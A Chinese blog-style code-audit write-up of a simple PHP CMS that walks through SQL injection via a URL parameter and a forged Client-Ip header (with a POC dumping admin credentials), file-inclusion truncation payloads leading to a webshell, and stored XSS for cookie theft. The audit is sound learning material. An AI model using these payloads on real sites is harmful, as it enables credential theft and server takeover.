初入代码审计,先用最朴素方法,从最简单的cms开始审计吧。
掏出seay一顿撸。
一 ad_js.php存在sql注入
参数没有加单引号保护,即使包含了require_once dirname(__FILE__) . '/include/common.inc.php'; 网站配置文件,对传入的参数
进行了统一gpc转义处理
get_magic_quotes_gpc函数作用
if(!get_magic_quotes_gpc())//如果php配置中没有开启gpc转义配置,则在此进行转义 { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); }
但是此处没有加单引号过滤。
继续跟踪到getone函数
function getone($sql, $type=MYSQL_ASSOC){ $query = $this->query($sql,$this->linkid); $row = mysql_fetch_array($query, $type); return $row; }
只是简单的查询语句,没有加过滤。
?ad_id=1 union select 1,2,3,4,5,6,7 #
ctrl+u可以看到显示位。
二 commenr.php头部sql注入漏洞
function getip() { if (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED'); } elseif (getenv('HTTP_FORWARDED_FOR')) { $ip = getenv('HTTP_FORWARDED_FOR'); } elseif (getenv('HTTP_FORWARDED')) { $ip = getenv('HTTP_FORWARDED'); } else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; }
http头部可以伪造
配置文件中对$*post、$*get、$*cookies和$*request统一进行gpc处理,但是遗漏了$_SERVER。而且网站恰恰通过该变量获取ip地址,因此我们就可以对ip通过client-ip或x-forwarded-for等进行伪造。
查看哪些地方用了这个危险函数。
comment.php 文件中有
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
发布新闻之后评论一下抓包。
截断调试。
添加请求头 Client-Ip: test
确实是没有过滤的被插入到sql语句中。
构造poc
1.1.1.1','1'), ('', '1', '1', '1', '6', (select group_concat(admin_name,":",pwd) from blue_admin), '1613538242', '1.1.1.1
三 文件包含漏洞
user.php存在此漏洞
全文追踪
还有addslashes_deep的过滤,但是这是无法防住文件包含的。
00截断(需要 php版本小于 5.3.8 以及 magic_quotes_gpc = Off ) 点号截断(只适用于windows)(php版本 5.2.17、 magic_quotes_gpc = On ) index.php?file=phpinfo.php...........................................................................................................................................................................................................................(本次测试长度需要大于269) ./截断 (php版本 5.2.17、 magic_quotes_gpc = On ) index.php?file=phpinfo.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. /././././(本次测试长度需要大于269)
配合文件上传包含图片马getshell。
四 存储xss
用户注册时候邮箱,构造xss
后台可以弹出xss盗取cookie